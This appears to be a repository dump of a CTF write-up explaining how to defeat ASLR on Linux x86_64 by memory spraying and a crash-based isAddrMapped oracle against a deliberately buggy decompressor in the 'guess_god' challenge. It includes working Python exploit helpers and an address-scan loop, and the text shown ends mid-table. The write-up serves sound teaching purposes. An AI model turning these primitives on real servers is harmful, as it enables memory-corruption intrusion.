Repository: nick0ve/how-to-bypass-aslr-on-linux-x86_64 Branch: main Commit: 8f45a5e55502 Files: 31 Total size: 84.6 KB Directory structure: gitextract_dnks77ug/ ├── README.md └── resources/ ├── analyze_mappings.py ├── dist-guess-god/ │ ├── .dockerignore │ ├── Dockerfile │ ├── bins/ │ │ └── flag_server-exe │ ├── docker-compose.yml │ ├── flag.txt │ ├── jail.cfg │ ├── nsjail.sh │ ├── pow.py │ ├── server.py │ ├── setup.sh │ └── src/ │ ├── .gitignore │ ├── CMakeLists.txt │ ├── kylezip/ │ │ ├── README │ │ ├── decompress.c │ │ ├── decompress.h │ │ └── test/ │ │ └── kyle.c │ ├── src/ │ │ ├── App.cpp │ │ ├── AppComponent.hpp │ │ ├── controller/ │ │ │ ├── MyController.cpp │ │ │ └── MyController.hpp │ │ └── dto/ │ │ └── DTOs.hpp │ ├── test/ │ │ ├── MyControllerTest.cpp │ │ ├── MyControllerTest.hpp │ │ ├── app/ │ │ │ ├── MyApiTestClient.hpp │ │ │ └── TestComponent.hpp │ │ └── tests.cpp │ └── utility/ │ └── install-oatpp-modules.sh ├── reliable_exploit.py └── x.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: README.md ================================================ # Breaking 64 bit aslr on Linux x86-64 In this article, I'll discuss about the application of the technique described by [Samuel Groß](https://twitter.com/5aelo) in his [Remote iPhone Exploitation Part 2: Bringing Light into the Darkness -- a Remote ASLR Bypass](https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-2.html), to bypass ASLR on Linux x86_64. To show this I'm gonna solve a pwnable challenge from [Buckeye CTF](https://ctf.osucyber.club/), guess_god. I'll try to keep the content as beginner friendly as possible, so feel free to skip any section if you feel confident enough and just want to see the exploit. # 0. Introduction


I didn't play the CTF, but I got interested in the challenge about 2hrs before the ctf end thanks to [Guray00](https://github.com/Guray00), who was asking for help in [fibonhack](https://twitter.com/fibonhack) discord about some crypto shenanigans. I couldn't help him, but I took a look at pwnable challenges, and figured it would be good to understand the P0 blogpost and hopefully get that bounty. # 1. ASLR and how to bypass it ## 1.1 What is ASLR? **Address Space Layout Randomization** (ASLR) is a computer security technique which involves **randomly positioning** the base address of an executable and the position of libraries, heap, and stack, in a process's address space. ## 1.2 ASLR on Linux On linux, you can inspect the mappings of a process given its pid through [procfs](https://www.kernel.org/doc/Documentation/filesystems/proc.txt), by reading the file `/proc//maps`. If you are a process and you want to know your own memory mappings, you can read `/proc/self/maps`. For example, you can try to read `/proc/self/maps` with `cat`: ``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55faeb01c000-55faeb01e000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55faeb01e000-55faeb023000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55faeb023000-55faeb026000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55faeb026000-55faeb027000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55faeb027000-55faeb028000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55faeb115000-55faeb136000 rw-p 00000000 00:00 0 [heap] 7fe15dfb1000-7fe15dfd5000 rw-p 00000000 00:00 0 7fe15dfd5000-7fe15dffb000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15dffb000-7fe15e166000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e166000-7fe15e1b2000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b2000-7fe15e1b5000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b5000-7fe15e1b8000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7fe15e1b8000-7fe15e1c3000 rw-p 00000000 00:00 0 7fe15e1c7000-7fe15e1c8000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1c8000-7fe15e1ef000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1ef000-7fe15e1f9000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1f9000-7fe15e1fb000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fe15e1fb000-7fe15e1fd000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7fff4388f000-7fff438b0000 rw-p 00000000 00:00 0 [stack] 7fff43989000-7fff4398d000 r--p 00000000 00:00 0 [vvar] 7fff4398d000-7fff4398f000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] root@088ec31b2ce9:/home/ctf/challenge# cat /proc/self/maps 55ffc0b1b000-55ffc0b1d000 r--p 00000000 fe:01 2497233 /usr/bin/cat 55ffc0b1d000-55ffc0b22000 r-xp 00002000 fe:01 2497233 /usr/bin/cat 55ffc0b22000-55ffc0b25000 r--p 00007000 fe:01 2497233 /usr/bin/cat 55ffc0b25000-55ffc0b26000 r--p 00009000 fe:01 2497233 /usr/bin/cat 55ffc0b26000-55ffc0b27000 rw-p 0000a000 fe:01 2497233 /usr/bin/cat 55ffc2108000-55ffc2129000 rw-p 00000000 00:00 0 [heap] 7f1ec6e0f000-7f1ec6e33000 rw-p 00000000 00:00 0 7f1ec6e33000-7f1ec6e59000 r--p 00000000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6e59000-7f1ec6fc4000 r-xp 00026000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec6fc4000-7f1ec7010000 r--p 00191000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7010000-7f1ec7013000 r--p 001dc000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7013000-7f1ec7016000 rw-p 001df000 fe:01 2761561 /usr/lib/x86_64-linux-gnu/libc-2.33.so 7f1ec7016000-7f1ec7021000 rw-p 00000000 00:00 0 7f1ec7025000-7f1ec7026000 r--p 00000000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7026000-7f1ec704d000 r-xp 00001000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec704d000-7f1ec7057000 r--p 00028000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7057000-7f1ec7059000 r--p 00031000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7f1ec7059000-7f1ec705b000 rw-p 00033000 fe:01 2761539 /usr/lib/x86_64-linux-gnu/ld-2.33.so 7ffc72fa4000-7ffc72fc5000 rw-p 00000000 00:00 0 [stack] 7ffc72fe7000-7ffc72feb000 r--p 00000000 00:00 0 [vvar] 7ffc72feb000-7ffc72fed000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] ``` ### Memory mappings patterns If you do this a couple of times, you could deduce that: * The binary PIE base should be in the range 0x00005500_00000000-0x00005700_00000000, which means 2TB of possible addresses. * The heap is near the binary. * Libraries fall in the range 0x00007f00_00000000 - 0x00007fff_ffffffff, 1TB of possible addresses. * Stack goes \(most of the time\) in the range 0x00007ffc_00000000 - 0x00007fff_ffffffff, 16gb of possible addresses. * The range 0xffffffffff600000 - 0xffffffffff601000 is always mapped, you can read [this article](http://terenceli.github.io/%E6%8A%80%E6%9C%AF/2019/02/13/vsyscall-and-vdso) if you are curious about what it is. ## 1.3 How to bypass ASLR without an infoleak Let's discuss what you can do to bypass ASLR when no information leak is possble. This is my attempt to summarize what I got from reading Saelo's blogpost. To bypass ASLR you need: * A memory spraying technique, which lets you map contiguous memory of a given size, on a given range of addresses. As he says there are two ways of doing it: 1. By abusing a memory leak (not an information leak!), a bug in which a chunk of memory is “forgotten” and never freed, and triggering it multiple times until the desired amount of memory has been leaked. 2. By finding and abusing an “amplification gadget”: a piece of code that takes an existing chunk of data and copies it, potentially multiple times, thus allowing the attacker to spray a large amount of memory by only sending a relatively small number of bytes. * An `isAddressMapped` oracle, which given an address tells you wheter or not that address is mapped. ### PoC of ASLR bypass on Linux Let's try to reproduce saelo's PoC to completely break aslr on Linux.

saelo's poc


On Linux it's not so easy, it is possible to completely break ASLR only if you are able to allocate 16TB of memory. ```C #include #include int main() { // 64gb size_t size = 0x1000000000; // 16TB allocations for (int i = 0; i < 256; i++) { void *mem = malloc(size); // this ends up calling mmap if (!mem) { puts("Failed"); return 1; } printf("%p\n", mem); } unsigned int *mem = (void*)0x7f0000000000ULL; *mem = 0x41414141; printf("R/W to %p: %x\n", mem, *mem); return 0; } ``` ### Note about glibc memory allocation From [man malloc](https://man7.org/linux/man-pages/man3/realloc.3.html) notes: - Normally, malloc() allocates memory from the heap, and adjusts the size of the heap as required, using sbrk(2). When allocating blocks of memory larger than MMAP_THRESHOLD bytes, the glibc malloc() implementation allocates the memory as a private anonymous mapping using mmap(2). MMAP_THRESHOLD is 128 kB by default, but is adjustable using mallopt(3). Allocations performed using mmap(2) are unaffected by the RLIMIT_DATA resource limit (see getrlimit(2)). So `void *mem = malloc(size)` will end up calling `mmap(size + malloc_metadata_size, ...)` Since libraries are mapped into the process through mmap by `ld`, those allocations will end up near the libraries. ### Boundary cross trick If you look at the addresses returned by malloc you can better understand what is happening. Protip: look at the most significant bytes. | mem | 16tb boundary cross? | - |- |0x7fb03b55e010| No |0x7fa03b55d010| No |0x7f903b55c010| No |0x7f803b55b010| No |0x7f703b55a010| No |0x7f603b559010| No |0x7f503b558010| No |0x7f403b557010| No |0x7f303b556010| No |0x7f203b555010| No |0x7f103b554010| No |0x7f003b553010| No |0x7ef03b552010| Yes |0x7ee03b551010| Yes |0x7ed03b550010| Yes |0x7ec03b54f010| Yes The poc is exploiting the fact that, at some point, the most significant byte of the address returned changes from 7F to 7E and since the allocations are contiguous there must be something inside that range. \(Yeah we are applying the [Bolzano-Weirstress theorem](https://en.wikipedia.org/wiki/Intermediate_value_theorem) to solve this problem!\) # 2 The challenge Thankfully to the author, the zip contains binaries, source code and dockerfile to reproduce the same environment as the remote one.


## 2.1 Initial foothold It's always a good thing to grasp some knowledge about the environment, let's scroll through the files and take some notes. * jail.cfg set some restrictions, let's not forget about those limits since they might screw up the exploit: ```yaml time_limit: 300 cgroup_cpu_ms_per_sec: 100 cgroup_pids_max: 64 rlimit_fsize: 2048 rlimit_nofile: 2048 cgroup_mem_max: 1073741824 # 1GB ``` * From the Dockerfile we can learn some interesting things: 1. Build and install oatpp 1.2.5, maybe there are useful bugs in this specific version? ```Docker # Install oatpp RUN git clone https://github.com/oatpp/oatpp.git RUN cd /oatpp && git checkout 1.2.5 && mkdir build && cd build && cmake .. && make install ``` 2. It builds the challenge from scratch ```docker WORKDIR /home/ctf/challenge/src/ RUN mkdir -p src/build && cd src/build && cmake .. && make RUN cp src/build/flag_server-exe src/build/libkylezip.so flag.txt / home/ ctf/challenge/ ``` This might be a problem, so let's copy the distribuited binaries instead. ```docker COPY bins/flag_server-exe /home/ctf/challenge/ COPY bins/libkylezip.so /home/ctf/challenge/ ``` * And the last thing, check the protections of the binaries provided


Sweet, libkylezip.so is compiled with Partial RELRO, that means that the GOT is writable, keep that in mind for when we want to get code execution. ## 2.2 Setup the local environment and poke the application docker-compose.yml file is provided so it is not hard at all to get a working local environment to poke. For those of you that are not confident with docker here is the list of commands you need to know to poke the challenge locally. ```bash docker-compose build # Build the image, do this whenever you change something docker-compose up # start the container docker-compose down # stop the container docker ps # list containers docker exec -it # exec COMMAND into the container ``` After doing `docker-compose build` you can execute `docker-compose up` to start the container, and connect to the challenge with `nc 127.0.0.1 9000`


# 3. Source code analysis Now that we have some basic knowledge about what we should do in order to bypass ASLR, let's look at the source code, keeping in mind that we want to: * a way to spray memory in known ranges of memory * an isAddrMapped oracle


Source code folder

It's mostly glue code to get an oatpp web server up and running, in fact the important files which we are gonna analyze are: * src/controller/MyController.* * kylezip/decompress.* ## 3.1 MyController.*


MyController.hpp

There are 3 endpoints: * `/` * `GET /files/{fileId}` -> Download a previously uploaded file, if extract is true extract before downloading it. * `POST /upload/{fileId}` -> Upload a file given a {fileId}. And one function implemented in `MyController.cpp` ```C std::shared_ptr MyController::get_file(int file_id, bool extract) ``` which: * Set `to_open` to `{file_id}` or `{file_id}.unkyle` ```C std::ostringstream comp_fname; comp_fname << filename; if (extract) { // Want the un-kylezip-d version comp_fname << ".unkyle"; } auto to_open = comp_fname.str(); ``` * If it's the first time we are requesting to extract `{file_id}` then it calls decompress on it, which will write the decompressed file of `{file_id}` to `{file_id}.unkyle`. ```C int fd = open(to_open.c_str(), O_RDONLY); if (fd == -1) { if (!extract) return NULL; /* Need to create decompressed version of file * Kyle gave me a buggy library so we are going to fork * in case we crash the web server will still stay up. */ pid_t p = fork(); if (p == 0) { decompress(filename); exit(0); } else { waitpid(p, NULL, 0); } fd = open(to_open.c_str(), O_RDONLY); if (fd == -1) { return NULL; } } ``` * In the end `mmap` the result in memory. ```C struct stat sb; if (fstat(fd, &sb) != 0) { return NULL; } /* mmap the file in for performance, or something... idk kyle made me write this */ // void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0); ``` ### Observations * [fork()](https://man7.org/linux/man-pages/man2/fork.2.html) creates a new process by duplicating the calling process, at the time of fork() both memory spaces have the same content. So if we are able to turn decompress() to an oracle which: * Crashes on bad addresses * Doesn't crash on nice addresses We could use that primitive to infer the memory space of the parent. * There is a call to `mmap` in the parent process: ```C void *mem = mmap(NULL, sb.st_size, PROT_READ, MAP_PRIVATE, fd, 0); ``` if we can control `sb.st_size`, which is the size of the decompressed file, we could easily turn it into a memory spraying primitive. ## 3.2 decompress.* ### decompress() ```C int decompress(const char *fname) ``` * Maps the input file to the address `0x42069000000`. * Maps the output file to the address `0x13371337000`. * Calls do_decompress() which gets the decompression done. The file is expected to be in the format: | offset | name | type | description | | - | - | - | - | | +0h | magic | uint64 | a magic value, it is expected to be 0x0123456789abcdef | | +8h | filesize | uint64 | size of the decompressed file | ### do_decompress() ```C static void do_decompress(char *out, char *in, size_t insize) ``` You can view this function as a simple *virtual machine*, which executes the bytecode pointed by `in` and writes the output to the buffer pointed by `out`. `in` points to our `{file_id}`. `out` points to `{file_id.unkyle}`. This VM has 4 opcodes: * 0 -> NOP * 1 -> STORE(u8 b) writes `b` to `out`, increments out by `1`. Opcode implementation: ```C case 1: { // Write byte uint8_t b = in[cur++]; *(out++) = b; break; } ``` * 2 -> SEEK(u64 off) set `out` to `out + off`. `out` and `off` are 64 bit values, so `out = out+off` is equivalent to `out = (out+off) % MAX_64BIT_VALUE`, this is called [integer overflow](https://en.wikipedia.org/wiki/Integer_overflow) and we can exploit this behaviour to reach any 64 bit value. Example: ```py M64 = (1<<64) # Maximum 64bit value def get_off(out: int, target: int): return (target-out) % M64 # We are at 0xffffffff, what can we add to reach 0? print ('{:#x}'.format(get_off(0xffffffff, 0))) # Result = 0xffffffff00000001 # That's the same as doing this M64 = (1<<64)-1 # Maximum 64bit value def get_off(out: int, target: int): return (target-out) & M64 print ('{:#x}'.format(get_off(0xffffffff, 0))) ``` Opcode implementation: ```C case 2: { // Seek uint64_t off = *(uint64_t*)(&in[cur]); cur += sizeof(off); out += off; break; } ``` * 3 -> LOAD(off, size). Copy `size` bytes from `out - off` to `out`, increment `out` by 8. Opcode implementation: ```C case 3: { // Copy some previously written bytes uint64_t off = *(uint64_t*)(&in[cur]); cur += sizeof(off); uint64_t count = *(uint64_t*)(&in[cur]); cur += sizeof(off); memcpy(out, out-off, count); out += count; break; } ``` There are no bounds check in any of the operation, that gives us 2 useful primitives: * Read What Where, abusing `SEEK+LOAD` * Write What Where: abusing `SEEK+STORE` I used this code to build the bytecode: ```py IN_ADDR = 0x42069000000 # PROT R OUT_ADDR = 0x13371337000 # PROT RW M64 = (1<<64)-1 class CompressedFile(): __slots__ = ['cur', 'content', 'out'] def __init__(self, filesize): self.cur = 16 self.content = b'' self.content += p64(0x0123456789abcdef) # magic self.content += p64(filesize) # file size self.out = OUT_ADDR def nop(self): self.content += b'\x00' self.cur += 1 def write(self, b: bytes): assert len(b) == 1 self.content += b'\x01' + b self.cur += 2 self.out += 1 def seek(self, off): self.content += b'\x02' self.content += p64(off) self.cur += 9 def memcpy(self, off, count): # memcpy(out, out-off, count); self.content += b'\x03' self.content += p64(off) self.content += p64(count) self.cur += 17 ``` # 4. Interacting with the binary Before diving into the exploitation phase, It is always good to build something that let you easily interact with the binary, to avoid wasting time. ```py import requests def uploadFile(blob: bytes, fileid: int): assert (fileid < (1<<31) - 1) multipart_form_data = { 'file': (f'payload_{fileid}', blob), } res = requests.post( f"http://{SERVER_IP}:{SERVER_PORT}/upload/{fileid}", files=multipart_form_data ) return res def getFile(fileid: int, extract="true"): res = requests.get(f"http://{SERVER_IP}:{SERVER_PORT}/files/{fileid}?extract={extract}") return res ``` ### Inspect the memory mappings of the challenge That was very important to me when trying to solve the challenge, I stared at the memory mappings for a lot of time. To do this, you can spawn a local instance of the challenge and read the process maps after doing some operations.


## 4.2 isAddrMapped oracle We are given a read what where primitive, so building an isAddressMapped oracle is not hard at all. My way to do it was to build this bytecode: * `memcpy(out, targetAddress, 1)` * `write(b'A')` If targetAddress is not mapped the child program segfaults on memcpy, giving us a decompressed file filled with null bytes. If targetAddress is mapped, the decompressed file has a b'\x41' as the second byte. ```py def isAddrMapped(addr, fileid, filelen=2): toup = CompressedFile(filelen) # addr = OUT_ADDR - off off = (OUT_ADDR - addr) & M64 # memcpy(toup.out, addr, 1) toup.memcpy(off, 1) # *(toup.out+1) = 0x41 toup.write(b'\x41') uploadFile(toup.content, fileid) res = getFile(fileid) isMapped = res.content[1] == 0x41 return isMapped ``` ## 4.3 Memory Spray primitive We can completely control the size of the decompressed file, and we get an mmap of that size in [MyController.cpp:62](resources/dist-guess-god/src/src/controller/MyController.cpp#L62). In my exploit i used the `isAddrMapped` function, and changed the filelen. For example, let's try to allocate a contiguous chunk of size = 0x4000000 = 64mb ```py isAddrMapped(IN_ADDR, 0, 0x4000000) ``` That's the result: ``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/47/maps ... 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle ... ``` If you try do it again: ```py isAddrMapped(IN_ADDR, 0, 0x4000000) isAddrMapped(IN_ADDR, 0, 0x4000000) ``` That's the result: ``` 7f344c000000-7f3450000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7f3450000000-7f3454000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle ``` Nice! Multiple allocations won't have gaps. ## 4.4 How much memory to spray? As you can see from [this poc](#poc-of-aslr-bypass-on-linux), the ideal size for the contiguous mapped memory would be 16TB. Unfortunately, if you try to allocate 16TB of memory on the remote server, the mmap will fail, because [nsjail limit this](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64#21-initial-foothold). After some trial and error I found out that I can spray ~3840mb of memory, with this code: ```py size = 0x000004000000 for i in range(0, 60): print ('.', end='') isAddrMapped(IN_ADDR, i, size) ``` the result memory mappings will be something like this: ### Memory Spray result ``` root@088ec31b2ce9:/home/ctf/challenge# cat /proc/`pgrep flag_server-exe`/maps ... My spray: ... 7fe2dc000000-7fe2e0000000 r--p 00000000 00:af 121 /challenge/files/59.unkyle 7fe2e0000000-7fe2e4000000 r--p 00000000 00:af 119 /challenge/files/58.unkyle 7fe2e4000000-7fe2e8000000 r--p 00000000 00:af 117 /challenge/files/57.unkyle 7fe2e8000000-7fe2ec000000 r--p 00000000 00:af 115 /challenge/files/56.unkyle 7fe2ec000000-7fe2f0000000 r--p 00000000 00:af 113 /challenge/files/55.unkyle 7fe2f0000000-7fe2f4000000 r--p 00000000 00:af 111 /challenge/files/54.unkyle 7fe2f4000000-7fe2f8000000 r--p 00000000 00:af 109 /challenge/files/53.unkyle 7fe2f8000000-7fe2fc000000 r--p 00000000 00:af 107 /challenge/files/52.unkyle 7fe2fc000000-7fe300000000 r--p 00000000 00:af 105 /challenge/files/51.unkyle 7fe300000000-7fe304000000 r--p 00000000 00:af 103 /challenge/files/50.unkyle 7fe304000000-7fe308000000 r--p 00000000 00:af 101 /challenge/files/49.unkyle 7fe308000000-7fe30c000000 r--p 00000000 00:af 99 /challenge/files/48.unkyle 7fe30c000000-7fe310000000 r--p 00000000 00:af 97 /challenge/files/47.unkyle 7fe310000000-7fe314000000 r--p 00000000 00:af 95 /challenge/files/46.unkyle 7fe314000000-7fe318000000 r--p 00000000 00:af 93 /challenge/files/45.unkyle 7fe318000000-7fe31c000000 r--p 00000000 00:af 91 /challenge/files/44.unkyle 7fe31c000000-7fe320000000 r--p 00000000 00:af 89 /challenge/files/43.unkyle 7fe320000000-7fe324000000 r--p 00000000 00:af 87 /challenge/files/42.unkyle 7fe324000000-7fe328000000 r--p 00000000 00:af 85 /challenge/files/41.unkyle 7fe328000000-7fe32c000000 r--p 00000000 00:af 83 /challenge/files/40.unkyle 7fe32c000000-7fe330000000 r--p 00000000 00:af 81 /challenge/files/39.unkyle 7fe330000000-7fe334000000 r--p 00000000 00:af 79 /challenge/files/38.unkyle 7fe334000000-7fe338000000 r--p 00000000 00:af 77 /challenge/files/37.unkyle 7fe338000000-7fe33c000000 r--p 00000000 00:af 75 /challenge/files/36.unkyle 7fe33c000000-7fe340000000 r--p 00000000 00:af 73 /challenge/files/35.unkyle 7fe340000000-7fe344000000 r--p 00000000 00:af 71 /challenge/files/34.unkyle 7fe344000000-7fe348000000 r--p 00000000 00:af 69 /challenge/files/33.unkyle 7fe348000000-7fe34c000000 r--p 00000000 00:af 67 /challenge/files/32.unkyle 7fe34c000000-7fe350000000 r--p 00000000 00:af 65 /challenge/files/31.unkyle 7fe350000000-7fe354000000 r--p 00000000 00:af 63 /challenge/files/30.unkyle 7fe354000000-7fe358000000 r--p 00000000 00:af 61 /challenge/files/29.unkyle 7fe358000000-7fe35c000000 r--p 00000000 00:af 59 /challenge/files/28.unkyle 7fe35c000000-7fe360000000 r--p 00000000 00:af 57 /challenge/files/27.unkyle 7fe360000000-7fe364000000 r--p 00000000 00:af 55 /challenge/files/26.unkyle 7fe364000000-7fe368000000 r--p 00000000 00:af 53 /challenge/files/25.unkyle 7fe368000000-7fe36c000000 r--p 00000000 00:af 51 /challenge/files/24.unkyle 7fe36c000000-7fe370000000 r--p 00000000 00:af 49 /challenge/files/23.unkyle 7fe370000000-7fe374000000 r--p 00000000 00:af 47 /challenge/files/22.unkyle 7fe374000000-7fe378000000 r--p 00000000 00:af 45 /challenge/files/21.unkyle 7fe378000000-7fe37c000000 r--p 00000000 00:af 43 /challenge/files/20.unkyle 7fe37c000000-7fe380000000 r--p 00000000 00:af 41 /challenge/files/19.unkyle 7fe380000000-7fe384000000 r--p 00000000 00:af 39 /challenge/files/18.unkyle 7fe384000000-7fe388000000 r--p 00000000 00:af 37 /challenge/files/17.unkyle 7fe388000000-7fe38c000000 r--p 00000000 00:af 35 /challenge/files/16.unkyle 7fe38c000000-7fe390000000 r--p 00000000 00:af 33 /challenge/files/15.unkyle 7fe390000000-7fe394000000 r--p 00000000 00:af 31 /challenge/files/14.unkyle 7fe394000000-7fe398000000 r--p 00000000 00:af 29 /challenge/files/13.unkyle 7fe398000000-7fe39c000000 r--p 00000000 00:af 27 /challenge/files/12.unkyle 7fe39c000000-7fe3a0000000 r--p 00000000 00:af 25 /challenge/files/11.unkyle 7fe3a0000000-7fe3a0021000 rw-p 00000000 00:00 0 7fe3a0021000-7fe3a4000000 ---p 00000000 00:00 0 7fe3a4000000-7fe3a8000000 r--p 00000000 00:af 23 /challenge/files/10.unkyle 7fe3a8000000-7fe3ac000000 r--p 00000000 00:af 21 /challenge/files/9.unkyle 7fe3ac000000-7fe3b0000000 r--p 00000000 00:af 19 /challenge/files/8.unkyle 7fe3b0000000-7fe3b4000000 r--p 00000000 00:af 17 /challenge/files/7.unkyle 7fe3b4000000-7fe3b8000000 r--p 00000000 00:af 15 /challenge/files/6.unkyle 7fe3b8000000-7fe3bc000000 r--p 00000000 00:af 13 /challenge/files/5.unkyle 7fe3bc000000-7fe3c0000000 r--p 00000000 00:af 11 /challenge/files/4.unkyle 7fe3c0000000-7fe3c4000000 r--p 00000000 00:af 9 /challenge/files/3.unkyle 7fe3c4000000-7fe3c8000000 r--p 00000000 00:af 7 /challenge/files/2.unkyle 7fe3c8000000-7fe3cc000000 r--p 00000000 00:af 5 /challenge/files/1.unkyle 7fe3cc000000-7fe3d0000000 r--p 00000000 00:af 3 /challenge/files/0.unkyle 7fe3d0000000-7fe3d01a8000 rw-p 00000000 00:00 0 7fe3d01a8000-7fe3d4000000 ---p 00000000 00:00 0 ... Libraries: ... 7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0 7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so ... ``` Let's focus our attention on the addresses created with the memory spraying. \(*.unkyle files \) We can try to apply the [boundary cross trick](#Boundary-cross-trick). | mem | 4gb boundary cross? | - |- | 7fe2dc000000 | No | 7fe2e0000000 | No | 7fe2e4000000 | No | 7fe2e8000000 | No | 7fe2ec000000 | No | 7fe2f0000000 | No | 7fe2f4000000 | No | 7fe2f8000000 | No | 7fe2fc000000 | No | 7fe300000000 | Yes | 7fe304000000 | Yes | 7fe308000000 | Yes By exploiting the change from 7fe2.. to 7fe3.. we can scan memory with a step of 0x100000000 = 4gb memory. ## 4.5 Finally defeating ASLR Given that step size, we can scan `start=0x7f0000000000` to `end=0x800000000000` with only `end - start / size` = 256 queries. ```py start = 0x7f0000000000 end = 0x800000000000 step = 0x100000000 # 4gb isMapped = False j = 0xff while isMapped == False: leakAddr = start + j*step isMapped = (isAddrMapped(leakAddr, 1000 + j)) j -= 1 ``` At this point, we have `leakAddr` which is a mapped address like this: `0x7fXX00000000`, in [this](#memory-spray-result) case, `leakAddr = 0x7fe300000000`. Now, if we want to follow the saelo technique, we should do a binary search of the range 0x7fXX00000000 - 0x7fXXffffffff, in order to find lower and upper bounds, the problem is that there are some holes in that range, so the binary search fails a lot of times. You can check yourself with [this](resources/analyze-mappings.py) script: ``` RANGE SIZE 0x00007f7544000000 - 0x00007f763c000000 0xf8000000 SMALL GAP 0x00caa000 0x00007f763ccaa000 - 0x00007f763e358000 0x016ae000 ``` That small gap between 0x00007f763c000000 and 0x00007f763ccaa000 screws up the binary search, of course it is still doable, but i found an easier way. ### Observation We want to get the last mapped address, because that's where libraries are mapped. For example, given those mappings for the libraries: ``` 7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947 /challenge/libkylezip.so 7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0 7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so 7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539 /lib/x86_64-linux-gnu/ld-2.33.so ``` We can search for the address `7fe3d6a5b000 - 0x1000` with this trick: | address | isAddressMapped? | | - | - | 0x7fe3f0000000 | No 0x7fe3e0000000 | No 0x7fe3d0000000 | Yes 0x7fe3df000000 | No 0x7fe3de000000 | No 0x7fe3dd000000 | No 0x7fe3dc000000 | No 0x7fe3db000000 | No 0x7fe3da000000 | No 0x7fe3d9000000 | No 0x7fe3d8000000 | No 0x7fe3d7000000 | No 0x7fe3d6000000 | Yes 0x7fe3d6f00000 | No 0x7fe3d6e00000 | No 0x7fe3d6d00000 | No 0x7fe3d6c00000 | No 0x7fe3d6b00000 | No 0x7fe3d6a00000 | Yes 0x7fe3d6af0000 | No 0x7fe3d6ae0000 | No 0x7fe3d6ad0000 | No 